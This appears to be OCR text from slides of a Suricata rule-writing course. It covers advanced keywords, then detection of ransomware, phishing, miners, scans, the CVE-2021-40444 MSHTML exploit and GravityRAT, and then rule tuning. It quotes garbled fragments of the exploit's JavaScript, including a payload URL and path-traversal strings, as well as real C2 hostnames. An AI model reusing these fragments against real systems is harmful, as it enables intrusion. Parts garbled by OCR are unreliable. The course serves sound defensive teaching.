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p
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Advanced Suricata features — Byte_jump

http.response_body; content:"MzZ";

content:"PE|0@ 00|"

868000006 :
goeeeel16:
goeeee206:
20800036
e6e00046 :
868000856 :
86800060 :
gogeeave:
goeeee8e :
20800096 :
26800040 :
868606086 :
868000C8 :
gogeesDe :
20e000Ee :
208000F6
86800106 :
86800116 :
20820126
gogeelle:

4D
B8
2o
20
BE
69
74
eh
36
34
7F
7F
7B
aF
7F
aF
ea
58
ga
2o

SA
ga
aa
aa
1F
73
20
6F
1C
2C
2F
2F
a5
24
2F
a4
ea
45
ga
Ag

98
2e
ee
26
BA
28
62
64
AD
22
1c
22
58
29
18
1D
26
88
26
81

86-83
go-8e
go-ee
80 -2e
OE-8e
78-72
B85-28
65-2E
CF-72
ac-Ja
9C-41
9c-47
9C-57
9C-22
9c-73
9c-73
26-8e
86-4C
e -Ee
go-ee

2a
ga
aa
aa
B4
6F
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D
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7D
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D
7D
7D
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ga
1:]

J

88
ee
ee
26
a9
67
75
en
C3
C3
c3
c3
c3
C3
C3
C3
ee
a3
22
a9

within:2;

distance:-64; within:4;
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9C-7F
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68-72
g6-8e
58-88
ga-8e
go-ae
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6E
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7D
7D
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7D
7D
7D
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Advanced Suricata features — Byte_extract

byte_extract:<num of bytes>, <offset>,
<var_name>, [,relative] [,multiplier <mult-
value>] [,<endian>] [, dce] [, string [,
<num_type>] [, align <align-value];

Example:
content:"beginning of payload";

byte extract:2,5,size,relative;
content:"key"; distance:size; within:3;



Advanced Suricata features — Byte_math

byte_math:bytes <num of bytes>, offset
<offset>, oper <operator>, rvalue <rvalue>,
result <result var> [, relative] [, endian
<endian>] [, string <number-type>] [, dce] [,
bitmask <value>];

Operator: +, -, *, /, <<, >
Example:
byte math:bytes 1,offset 5,oper *,rvalue 10,

result var;
byte jump:2,var;



Advanced Suricata features — Transforms keywords

e strip_whitespace: strip all whitespace as considered by the /sspace()callin C
e compress_whitespace: compresses all consecutive whitespace into a single space

Useful for detecting JS etc.



Advanced Suricata features — Transforms keywords

e to_mdb /to_shal/to_sha256: takes the buffer,
calculates the MD5 / SHA-1 / SHA-256 hash and
passes the raw hash value on

Can be used for creating sigs on sensitive data or some
unique finding that you don’t want to share (eg. with
competitors/clients/attackers)

Example:

http.request_body; content:"SomeVeryUniqueKey";

http.request_body; to_mdb5;
content:"|985112E6B6758CB79F43C68393528C57|";



Advanced Suricata features — Transforms keywords

e pcrexform:takes the buffer, applies the required
regular expression, and outputs the first captured
expression

pcrexform:<regular expression>;



Advanced Suricata features — Transforms keywords
Example: Ketin macOS Adware

uirrel-log HTTP/1.1
.paltry.world
[nntwnt— application/x-www-form-urlencoded
Connecti
Accept: */*
User-Agent: eB8Hzqn7l (unknown wversion) CFNetwork/1248.8.4 Darwin/28.6.8

Content-Length: 6458
Accept-Language: en-us
Accept-Encoding: gzip, deflate




Advanced Suricata features — Transforms keywords

Example: Ketin macOS Adware

ost: md5("_iv=") =
CQMEMTUmE wphFHimfwmw=ﬁmwuﬂEMDMd 79C6E35B5BF924ADEBESFOB42749FES2
Connection: keep-alive

Accept: */*

User-Agent: eB8Hzqn7l (unknown wversion) CFNetwork/1248.6.4 " 2

Content-Length: 6458

Accept-Language: en-us
Accept-Encoding: gzip, deflate

53D& payload=K
ORTKnDtgaHhj

alert http $HOME_NET any -> $EXTERNAL_NET any

(msg:"Ketin macOS AdWare C2 Communication"; flow:established,to_server;
http.method; content:"POST"; http.uri; content:"/squirrel-log"; bsize:13;
http.user_agent; content:"Darwin";

sid:1000018; rev:1;)



Advanced Suricata features — Transforms keywords

e url_decode: decodes url-encoded data, i.e.
replacing ‘+" with space and ‘%HH’ with its value.
This does not decode unicode ‘%uZZZZ’ encoding



Advanced Suricata features — Lua scripting

Lua scripting is a powerful (while not widely used) feature providing additional
capabilities for:

® detection
® output
Could be used for:
® detecting CVE's and other complex cases
® decoding encrypted payload

® providing detailed output

® etc



Advanced Suricata features — Lua detection

e function init() — registers the buffer(s) that need
inspection

e function match() —returns1orO

A simple script returning true.

function init(args)
local needs = {}
return needs

end

function match(args)
return 1
end



Advanced Suricata features — Lua detection

e |ual']<scriptfilename>;

e |ugjit:[!]<scriptfilename>;

Example:

alert http $HOME_NET any -> $EXTERNAL_NET any
(msg:"Test rule with Lua script”;

flow:to server,established;

http.method; content:"GET";

classtype:unknown; sid:1000019; rev:1;)



Advanced Suricata features — Lua output

e functioninit() — registers where the script hooks into
the output engine

e function setup() — does per output thread setup
e function log() — logging function

e function deinit() — clean up function



Advanced Suricata features — Lua output

A simple script printing “Hello world!”:

function init(args)
local needs = {}
needs["protocol"] = "http"
return needs

end

function setup(args)
http = @
end

function log(args)
end

function deinit(args)
print("Hello world!");
end



Advanced Suricata features — Lua output

The lua output can be enabled in suricata.yami.




Advanced Suricata features — IP reputation

e The ranking of IP Addresses within the Suricata
Engine

e Collects, stores, updates, and distributes reputation
intelligence on IP Addresses

e Allows sharing of intelligence regarding a vast
number of IP addresses

Can be enabled in suricata.yami




Advanced Suricata features — IP reputation

reputation-categories-file: Jfetc/suricatasipr

Mapping between a category number, short name, and long
descriptionina CSV file:

<id>,<short name>,<description>
Example:

1,BadHosts,Known bad hosts
2,Google Known google host



Advanced Suricata features — IP reputation

reputation-files:

A reputation score for hosts in the categoriesina CSV file:
<ip>,<category>,<reputation score>
Example:

12.3.41,101
111.0/24,6,88



Advanced Suricata features — IP reputation

How to use in arule:

iprep:<side to check>,<category>,
<operator>,<reputation score>

e side to check: <any|src|dst|both>
e category: the category short name
® oOperator: <, >, =
e reputation score: 1-127
Example:

alert ip any any -> any any (msg:"Iprep test
rule"; iprep:dst,CnC,>,30; sid:1000020; rev:1;)



Advanced Suricata features — File extraction

e Used to extract and store on disk transferred files
e Supported protocols: HTTP, SMTP, FTP, NFS, SMB, HTTP2

e Configuredin suricata.yam/



Advanced Suricata features — File keywords

e filename — matches on the file name

e fileext — matches on the extension of a file name

e filemagic — matches on the information libmagic returns about a file
e filestore — stores files to disk if the signature matched

e filemdb / fileshal / filesha256 — matches file MD5 / SHA-1 / SHA-256 hash against list of
checksums

e filesize — matches on the size of the file as it is being transferred



Advanced Suricata features — File extraction

Example:

alert http any any -> any any (msg:"File with pdf extension”; fileext:"pdf"; filestore;
sid:1000021; rev:T;)

alert http any any -> any any (msg:"Pdf file"; filemagic:"PDF document”; filestore;
sid:1000022; rev:1;)

alert http any any -> any any (msg:"File from MD5 denylist", filemd5:fileextraction-
chksum.list; filestore; sid:1000023; rev:1;)
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Detecting typical attacks — Overview

In this track you will learn:
® About popular network attacks and how to detect them
In this track you will practice:

® \Writing rules to detect typical attacks for a given traffic dump



Detecting typical attacks — Overview

e Ransomware

e Phishing

e Coinmining

e Reconnaissance
e Exploits

e APTs



Detecting typical attacks — Ransomware

e One of the most dangerous and widespread types of malware over the past years

e Communication with C2 is (almost always) necessary for a successful attack



Detecting typical attacks — Ransomware

Example: Mallox ransomware

+ Aka TargetCompany, Bozon, Fargo, Tohnichi
* Discoveredin June 2021 and still active

* Changed encryption scheme several times

» Attacks enterprises

* Victims threatened with their data being published on a leak website if they refuse to
pay ransom

« Exfiltrates system information and sends it to the C2 server



Detecting typical attacks — Ransomware

Example: Mallox ransomware

ap.php HTTP/1.1
application/x-www-form-urlenc
91.141
Content-Length
Connectic K

Cache-Contr




Detecting typical attacks — Ransomware
Example: Mallox ransomware

alert http $HOME NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Mallox ransomware
C2 checkin"; flow:established,to server;

http.method; content:"POST";

http.uri; content:".php"; endswith; http.request body; content:"user=";
content:"TargetID="; content:"SystemInformation=";
content:"max_size of file="; content:"size of hdd=";
classtype:trojan-activity; sid:1000024; rev:1;)

Successfully added



Detecting typical attacks — Phishing

One of the most popular attack vectors for gaining initial access

Network traffic? Always

Ways of detecting:

By suspicious domain name (DNS query)
By landing webpage requesting for credentials / Success page
By sending credentials (via POST request)

etc



Detecting typical attacks — Phishing

Example:

Sign in to continue

Email

Password

Please input Password
| Continue |




Detecting typical attacks -

Example:

Sign in to continue

Email

Password

; name="e" pl

" name="p
input Pa

Phishing

der="" wvalue=

holder="ssssss">




Detecting typical attacks — Phishing

Example:

alert http $EXTERNAL_NET any -> $HOME_ NET any
(msg:"Phishing landing page"; flow:from_server,established;
http.stat_code; content:"200"; http.stat_msg; content:"OK";
http.content type; content:"text/html";

http.response_body; content:"<input type=\"password\"";
content:"Please input Password";
classtype:social-engineering; sid:1000025; rev:1;)

Sign in to continue

Email

Password

DPlease input Password
| Continue |




Detecting typical attacks — Coinmining

Despite cryptocurrency mining is a costly
process it still attracts even legitimate miners

Malicious cryptominers are on the rise: there
was more than threefold growth in the number
of new variants of such programs in Q3 2022,
compared to Q3 2021

Cybercriminals pay neither for equipment, nor
for electricity

Cryptojacking does not require a lot of narrow
technical expertise

180 000
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120 000

100 000

80 000

60 000

40 000

20000

0
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40 788

31443
23 894 21282

Q12021 Q22021 | q32021 | Q1202 | Q22022 |

153773

Q32022

Number of new miner modifications


https://securelist.com/cryptojacking-report-2022/107898/

Detecting typical attacks — Coinmining

Most popular digital cryptocurrencies mined via cryptojacking:

Monero (XMR)
Bitcoin (BTC)
Ethereum (ETH)
Litecoin (LTC)

Bit Hotel (BTH)
Dash (DASH)
Dogecoin (DOGE)
Neo (NEQO)

48%

@® VR @ BTC @ ETH @ LTC @ DASH DOGE @ BTH @ NEO

lkaspersky


https://securelist.com/cryptojacking-report-2022/107898/

Detecting typical attacks — Coinmining

Example:

GMT

Content-
Connection:

iny long-format command line argument ™,
| configuration fi

cpu-priority
“cpu-affinity™




Detecting typical attacks — Coinmining

ig.php HTTP/1.1

Example: _-‘.I b3.beget.tech

alert http $EXTERNAL_NET any -> $HOME_ NET any
(msg:"Miner config";
flow:from_server,established;

http.stat_code; content:"200"; http.stat_msg; - oraat command Line argunent *,
content:"0K"; FocomTEET  Tney be used &0 his SO configratien Tl
http.content type; content:"text/html";
http.response body; content:"\"api-bind\" : ";
content:"stratum+tcp://";

content:"\"user\" : "; content:"\"pass\" : ";

content:"\"algo\" : ";
classtype:coin-mining; sid:1000026; rev:1;)

“api-bind" : "127.8.8.1:4043",




Detecting typical attacks — Reconnaissance

e Various red team tools (can be used by attackers as well)
e FEarly warnings of potential malicious activity
e F[alse positives are OK: determining targeted activity vs Internet noise can be difficult

e Detecting by uncommon requests, frequency, default User Agent, etc



Detecting typical attacks — Reconnaissance

Example: Nmap XMAS scan

alert tcp $EXTERNAL_NET any -> $HOME_NET any
(msg:"Possible Nmap XMAS scan"; flow:stateless;

dsize:0; flags:FPU; ack:0; window:1024;

threshold:type both, track by src, count 100, seconds 60;
classtype:attempted-recon; sid:1000027; rev:1;)

v Flags: 8x@29 (FIN, PSH, URG)
Reserved: Not set

= Accurate ECN: Not set

Congestion Window Reduced: Not set
ECN-Echo: Not set
Urgent: 5Set

@. = Syn: Mot set
1 = Fin: Set
TCP Flags: ------U-P--F
B




Detecting typical attacks — Reconnaissance

Example: Nessus scan

alert udp any any -> any any

(msg:"Nessus scan"; dsize:<64;
content:"|00|\\|00|N|00|E|00|S|00|S|00|U|0O|S|00|\\]|
P0|N|ee|E|ea|S|ea|S|ee|u|ee|S|e0|";
classtype:attempted-recon; sid:1000028; rev:1;)

9 B4 ad 47 @8 ec 29 e3 11 93
f @8 88 80 11 56 a7 cB a8 77 81 B
[ R11 11 11 11 b7

Internet Proto
User Datagram Protocol, Src Port: 5
Data (56 bytes)

Data:

[Length: 58]

Ba a8 88 S5c 88 4e 08 45 o8
53 88 53 88 55 88 53 88 S5c B8 4e 88 45 BB 53 B8
53 8@ 55 @@ 53 A S5c 88 32 BA 37 B0 36 00 30 80




Detecting typical attacks — Exploits

Not easy to detect, but (can be) possible
False positives are OK
Often requires deep understanding of vulnerability

Target the vulnerability, not the PoC



Detecting typical attacks — Exploits

Example: CVE-2021-40444 (Microsoft MSHTML Remote Code Execution Vulnerability)

HTTP/1.1 200 OK
Wed, 15 Sep 26821 15:28:58 GHT
.41 (Ubuntu)
: Fri, 10 Sep 2021 10:51:19 GT

Accept-Ranges:
Vary: Accept-Encoding
i

Keep-Alive
Content-Type: text/html

<!DOCTYPE html>

conten
patible

http-equiv
http-equiv

"Expire
ntent="TE=11">

(function() {
var func_create_element = window[ ‘Document ' ][*prototype’].createElement,
func_write = window[ 'Document' ][ prototype”].write,
func_append_child = window[ 'HTHLElement ][ prototype’ ].appendchild,
func_remove_child = window[ 'HTHLELement ][ prototype’ ]. removeChild,
iframe func_create element['call’ ]{window[ "Document’ ], 'iframe’);

func_append_child['call'](window[ ‘Document" ][ ‘body '], iframe obj);

1
catch (_@x1abass)
r

i
func_append_child['call’](window[ 'Document’ ][ 'documentElement'], iframe_obj);

}

var _0x403e5f 1fr3ms . obj[*contentiindow’ ][ "ActiveXObject '],
x403e5F( " htmlfile');
open’ () 'close" 1();

e —— ]

fune_remove_child[call’ ] (window[ ‘Document " ][ ‘body '], iframe_obj);
%atch (_ex3beee)
' func_remove_child['call’](window[ ‘Document " ][ 'documentElement'], iframe obj);
function get_url()

return “http://142.93.160.127/40444/test. cab™

10

7d[ (*script®)][("Activexobject’)]( htmlFile');
new _@x3e172f[("Script’) ][ ActiveXObject'](*htmlFile’);
1C
da 'Script’ J[("ActivexObject”)] (htmIFile’);

Uar _oxfedlef - new ActiveXObject(’htmlfile’),

wvar _@xf78c6e = new

_@xf7acee[ "open” ]()["close’]();

var _@xfedlef =
_ex5f3191 =
_Bxafc7as =
_Bx5a6d4b
_Bx258443
_B@x53c2ab
_Bx3a627b
Bx2c84ad
:m(zz@eee
_Bx3637d8

new
new
new
new
new

eee[ call'](_@x2c84a8,
37d8[ 'call’ ]( _Bx2c84a8),

_@xfedlef[ "Seript’][ "location’]

xfedlef[ 'Script']['location'] = "
Gﬂ(fedlef[ Script']['location’] =

wfedlef[ "Script’]["location’]
ﬁxfedlef[ script’][ 'location’]
_@xfedlef[ "Seript’][ "location’]
_@xfedlef[ "Script']["
%x5T3191[ 'Script” ][ "location”]
auafc?us[ Script']["
x5a6d4b[ 'Script’ ][ 'location’]

x258443[ 'Script'][ 'location'] = "

x5a6d4b[ 'Script’ ][ "location’]

Gﬂ(sabdtlb[ Script’]["location’] = *
_@x5a6dab[ "Script’][ "location’'] =

"GET ',

ocation'] =

ocation’] =

'.epl

'.cpl
.cpl:
'.cpl:
".epl:
‘.cpl:

*.cpl:

'.epl

“.cpl:

'.cpl
".epl
.cpl
'.epl
.cpl
'.cpl

.cpl:123
11237,
.cpl:

:123°

123

123

>

123°,

123"
123

123"
123

>

o
2y

>

new ActiveXObject('htmlfile'},
ActiveXObject("htmlfile’
ActiveXObject( htmlfile"
ActiveXObject("htmlfile’
Activexobject("htmlfile’
ActiveXObject("htmlfile’
@x279%eab[ "XMLHttpRequest'],
3a627b(),
627b[ "prototype ' ][

a627b[ "prototype’][ 'send'],
Bx279eab[ "setTimeout'];
get_url(), I[1),

xf78c EE[ bcrlpt ][ 'document" ][ "write’]("<body>"};
= func_create_element['call’](_@xf7@c6e[ 'Script’ ][ "d
';'-['set..\\ttr‘ibute']('codebase'J get url() + '#version=5,8,08,8
eB3[ 'setAttribute’] (' classid’,

_@x35b@d4[ "Script’ ][ ("ActiveXObject')]( 'htmlFile');

)s
)s
)s
)s
)

F)

pen'],

cument'],

BE

'CLSID:edbc374c-5730-432a-b5b8-de94feb57217" ),
func_append_child['call'](_f.txf?ﬁtcﬁe['icript']['document']['body'],
_@xfedlef[ "Script’]["location’] = ' '
_@xfedlef[ "Script’]["location’] =
_@xfedlef[ "Script’]["location’] = '

_Bx126e83),

/../AppData/Local/Temp/Low/tcalc.inf"’,
/

!
!
/
!
/

/AppData/Local/Temp/tcalc.inf’,
/AppData/Local/Temp/Low/tcalc.inf"’,

/AppData/Local/Temp/tcalc.inf"’,
./Temp/Low/tcalc.inf’,
./Temp/tcalc.inf"’,

ftcalc.inf”,
/Lowftcalc.inf';

‘object’)



Detecting typical attacks — Exploits
Example: CVE-2021-40444 (Microsoft MSHTML T
_exf7ecee[ "open']()[ close'1();

Remote Code Execution Vu|nerabi|ity) Var _exfedlef = new Activexobject('htmlfile'),

_8x5f3191 = new ActiveXObject('htmlfile'},
_@xafc795 = new ActiveXObject('htmlfile'
new ActiveXObject( htmlfile’
new ActiveXObject('htmlfile'},
new Activexobject( htmlfile"
_@x279eab[ "XMLHttpRequest'],
new _@x3a627b(),
_Bx3a627b[ "prototype’ ][ 'open’],

alert http $EXTERNAL_NET $FILE_DATA_PORTS
-> $HOME _NET any (msg:"Microsoft MSHTML 2e627b[ prototype’ [ send ],
ActiveX control bypass attempt"; 0226 Z;'Z% ,%mmwﬁ?ﬁﬁﬁ

flow:from _server,established; o oaite

axSabdtlb

setAttribute’ 1¢ Codebase’ s Bet url(} + '#ver:
[ 'setAttribute’]('classid", 'CLSID:edbc374c-5730-

" —oefeiet] Serip [ loatln'] -
http.stat_msg; content:"OK"; Texfedief['script’
- @xfedlef[ Script’
htt b d . :@xf:ﬂ:fE';::;gt'
p . r\esponse_ O y_, _Bxfedlef[ "script”
_exfedlef["Seript”

content:"ActiveXObject("; fast_pattern; ofedief] Sertec,

http O st at_code; Content : "296" ; func _append_child[ "call’]( wd’?ﬁcbe[ Script'][ 'document'][" L:tdy ],1_6"(;.2!:;5'-').,.

Script
T o 0 . o _exfedlef[ "Script']['lo io “a ../AppData/Local/Temp/Low/tcalc.inf",
* b ® O _@x5f3191[ "script' ][ 'lo '_ = ../AppData/Local/Temp/tcalc.inf"
Content * / b / e / ) Content * html-Flle J _@xafc795[ 'Script’ . P ..;'..;'J\ppData;’Local;'TEmp;'chm’tcaic.inf',
. T . ", . _@x.SEEd‘Ib[:t:»cr]:.pt: ' : :. 3oohao ,.f’,.f'AppData;’Local;'TEmp;:tc?lc.inf',
nocase Content . SC r‘lpt nocase _Bx258443[ "Script o o weplso /oot /o f o/ Temp/ Low/tcalc. inf",
) ) ) _@x5a6dab[ "Script' ][ 'lo io Ny Aodfoof o fTemp/teale.inf’,
T . ", . _8x5a6d4b[ "Script’ ][ 'lo io s ./tcalc.inf’,
Content . locatlon ) nocase_’ _Bx5a6dab[ "Seript']['lo io . :../../Low/tcalc.inf";

content:".cpl:"; nocase;
classtype:attempted-user; sid:1000029; rev:1;)



Detecting typical attacks — APTs

e Hard to find

e Hard to hunt

e Reversingis (often) a must

e FEasiest rules: on a known IP/domain/port
e Domain names usually look like legitimate

e Usually communicate with C2 a lot



Detecting typical attacks — APTs

Example: GravityRAT
» Discoveredin 2017, active since at least 2015
* Targets the Indian armed forces
* Oiriginally targeted only Windows, later Android and macOS samples were found
» Distributed using social engineering

* Not the most advanced... but targeted and persistent


https://securelist.com/gravityrat-the-spy-returns/99097/

Detecting typical attacks — APTs

Example: GravityRAT

Traffic from Windows sample

GET /ZULU/check.php HTTR/1.1
Host: u@l.msoftserver.eu:64443
Connection: keep-aliwve

Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: python-requests/2.18.4

Traffic from Android sample

GET /WHISKY/SE@D.php HTTP/1.1
User-Agent: Dalwik/2.1.8 (Linux; U; Android 5.1.1; Redmi Note 3 Build/LMy47V)

Host: n2.nortonupdates.online:64443
Connection: Keep-Alive
Accept-Encoding: gzip




Detecting typical attacks — APTs
Example: GravityRAT

Possible hunting rule:

alert http $HOME_NET any -> $EXTERNAL_NET 64443 (msg:"Possible GravityRAT C2
checkin";

flow:established,to_server;

http.method; content:"GET";

http.uri; content:".php"; endswith;

http.host; pcre:"/"[a-z]{1,2}[0-9]{1,2}\.[a-2]{9,20}\.[a-2]{2,7}%$/";
classtype:trojan-activity; sid:1000030; rev:1;)

JIULU/ check HTTP/1.1 AWHISKY / S@D, HTTP/1.1
: u@l.msof F-Eutfffff] -Agent: Dall .1.8 (Linux; U; Android 5.1.1; Redmi Note 3 Build/LMY47V)

Connection: keep-alive Host: n2.nﬂrtﬂnupdates.Gnlinetfffff]
Accept: */* Connection: Keep-Alive

Accept-Encoding: gzip, deflate Accept-Encoding: gzip
User-Agent: python-requests/2.18.4
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Problem solving — Overview

In this track you will learn:

® About typical problems when writing Suricata rules and how to
solve them

® How to check rule performance
® How to fix false positives

® How to write “good” rules
In this track you will practice:

® Solving typical problems

® Fixing false positives



Problem solving — Overview

e Performance issues

e [alse alarms

e Circumvention of precise rules
e Why doesn't my rule work?

e Whatif thereis no traffic?



Problem solving — Performance issues

e Do notdisregard manuals: they contain information on how to write good (fast) rules
and configure Suricata

e Use keywords and modifiers to specify location and order of malicious parts,
packet/buffer size, IP/port ranges, etc

e [t's always better to have a content match and make it as long as possible

e Avoid using very common patterns or regular expressions only: it's better to
combine pcre with at least one content

e Always find ways to bail before running a pcre



Problem solving — Performance issues

Order of operations:
e |P keywords, dsize, flow, flowbits, etc
e TCP/UDP/ICMP keywords

e Applayer protocols keywords

Try to bail before doing unnecessary and expensive checks



Problem solving — Performance issues

Do not ignore “fast_pattern” keyword:
e Canbe used once per rule
e Apply it to the most unique value

e Thelonger and more unique a content s, the less likely that rule and all of its rule
options will be evaluated unnecessarily

e [f not set, Suricata will choose its own
Example:
e content:"ExplOit"; content:"Mozilla";

e content:"ExplOit"; fast_pattern; content:"Mozilla";



Problem solving — Performance issues

Rule profiling: to check rule performance
e Suricata should has been built with the --enable-profiling configure flag

e OQutput configured in suricata.yam/

= Jete/suricata/suricata.yaml - Mousepad

File Edit Search View Document Help

enabled: yes

filename

append: yes

# Sort options: ticks, avgticks, checks, matches, maxticks

Sﬂ;t: avgticks

limit: 18

json: no




Problem solving — Performance issues

Rule profiling: example

-

File Edit Search View Document Help

1000002
looeeas
1000801

/tmp/suricata/rule_perf.log - Mousepad

0.00
5.080




Problem solving — Performance issues

Engine analysis: to get information about how Suricata organizes signatures internally
e Run Suricata with --engine-analysis flag

Example: suricata -c /etc/suricata/suricata.yaml --engine-analysis -1 /tmp/suricata/

> /tmp/suricata/rules_analysis.txt - Mousepad

File Edit Search View Document Help

alert http $HOME NET any -> $EXTERNAL NET 81 (msg:"Dinihou Worm"; flow:to server,established; http.method;
"POST"; http.uri; content:"/i ady"; endswith; http.user agent; cont "|3c 7c¢ 3e|nan- g
; hreat/Worm.VBS.Dinihou/; classtype:trojan-activity; sid:1000001; rev:1;)

Rule matches on http method buffer.

Rule matches on http user agent buffer.

App layer protocol is http.

Rule contains © content options, 3 http content options, @ pcre options, and @ pcre options with http modifiers.
Fast Pattern "<|>nan-av<|>" on "http user agent (http user agent)" buffer.

No warnings for this rule.




Problem solving — False alarms

e InIDS mode, false positives are OK
e [or threat hunting, false positives are OK

e Testyour rules on a big collection of clean traffic

How to analyze alerts:
e Getartifacts
e Check IP/domain reputation
e Check alert frequency

e |[f false alarm — add exclusion to the rule



Problem solving — False alarms

Example: hunting rule for “/gate.php” relative address

alert http $HOME_NET any -> $EXTERNAL_NET any
(msg:"Request to gate.php";
flow:established,to_server;

http.uri; content:"/gate.php";
classtype:bad-unknown; sid:1000031; rev:1;)



Problem solving — False alarms

Example: hunting rule for “/gate.php” relative address

GET /gate.php?
GetCo mInarld NDEyOTU4Nz ES0DI 30T gxM]

Hoaz I'J'icm\-flhnuuh 1 N _' 0 3 /1.1

= Ewnt Dalwlk, d 5.1.1; GT-I9385 Build/]55151)

Banbra Android banking Trojan

Accept-Encoding: gzip

POST /full/gate.php HTTR/1.1

Cagpchator Android banking Trojan

applic.:tium j
.:ppllc.:tl
U; Android 11; Pixel 5 Build/RD1A.200819.821.A1)

Accept- EﬂCildlI"IE g:lp
Content-Length: 135

{"h\-.rid""'?@hc?zcaﬁs?Sh'ﬁa’ ,"apps™:"com.gbkin ices,™,"modelo” :"Pixel
"unknown", "biometria digltal_nula T

GET /fapp/gate.php HTTP/L1.1

3

.'| .'lE:plr-_-l bKit/ Fa/Se alafm

@.8 Mobile

»'-nccwpt—lénc
Accept-Language:
X-Requested-With:




Problem solving — False alarms

Example: hunting rule for “/gate.php” relative address
The simplest way: exclude host (for HTTP)

alert http $HOME_NET any -> $EXTERNAL_NET any
(msg:"Request to gate.php";
flow:established,to_server;

http.uri; content:"/gate.php";

classtype:bad-unknown; sid:1000032; rev:2;)

GET ;dpp; php HTTP/1.1
Host: m i -

Accept-Encoding: gzip, d Flatw
Accept-Language: en-USs
X-Requested-With: com.app.ipsikorea




Problem solving — False alarms

Example: hunting rule for “/gate.php” relative address
Another option: exclude specific fields

alert http $HOME_NET any -> $EXTERNAL_NET any
(msg:"Request to gate.php";
flow:established,to_server;

http.uri; content:"/gate.php";

classtype:bad-unknown; sid:1000033; rev:2;)

GET fapp/gate.php HTTP/1.1
area.com

ge: en-US
With: com.app.ipsikorea




Problem solving — False alarms

Example: rule to detect GhOst RAT ! IH;:..-21T#$28Z. ..
J

content:"Ghost"; offset:8; depth:s; xCs.3C..}hd h.k" .kh." “dehI..#kN..

D/iHE, WP L TANF. . LY oW, [l . .

Ay1377tbbcamQrRXHGcg+ogVBmlmI
Ank1SELgTASn4KAXUYyAlTXNnI37IqWEKS+9BEVSQ




Problem solving — False alarms

Example: rule to detect GhOst RAT ! IH;:..-21T#$28Z...
el D

xCs.3C..}hd h.k™ .kh." “dehI..#kN..

JGhosthic1+rRgZLuiNh/pX1A3m2IKCLEZFEWEL25SCHKTydqIF75YAY137ZtbbeamQrRXHECq +ogVBmLm]
+cBivxlviNXIgefqVjLDbiedkegue2lsIFqaVWRSECIhSc1DIyOuc7adxeRjbAnk1SELGTASNAKARUYYALTXNI37IqWEKI+IBEVSD
+x0j0mRxBZG2GmBEUeZ8aXA0L/ 3H5kdK12RCIPhGoA==

Fix: content.” GhOst"; offset.’; depth:&;



Problem solving — False alarms

Compare more malware and clean traffic:

e Find fields that do not exist in malicious traffic

http.header_names; content:!"User-Agent”;

e Add more conditions: request format, data
length, field order, etc



Problem solving — Circumvention of precise rules

e Make rules as generic as possible to prevent false alarms

e Easy to circumvent rules from open rulesets, but attackers do not know rules from
paid feeds (or self-written!)

e [orbotnets, itis not very easy for attackers to significantly change protocol in each
bot version

e Many attackers just don’t care



Problem solving — Why doesn’t my rule work?

Possible reasons:
e Incorrect variable declarations in Suricata config (suricata.yaml)
e SIDis not unique (reserved for local use: 1000000-1999999)
e Problems with traffic
e PCRE is too complicated...
How to solve?
e Remove options one-by-one

e Check Suricatalogin evejson



Problem solving — What if there is no traffic?

e No traffic — no detection ®

e That's why NIDS should be used as one of the components of a wider security solution
What should be used together with NIDS?

e FieAV

e Sandbox

e URL reputation

e YARA

e ML-based engines

..and so on
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Course summary — Rule writing principles
READ MANUALS
Use keywords to make the rule more precise
Don’t forget about performance: use fast_pattern, don’t write rules containing pcre only, etc

Avoid using very exact patterns that can easily be changed (host name, full URI, parameter values,
etc)

Write generic rules for hunting first, then tune them
Don't be afraid of false positives (but try to fix them)
Test rules on a collection of clean traffic

Don't neglect new Suricata features



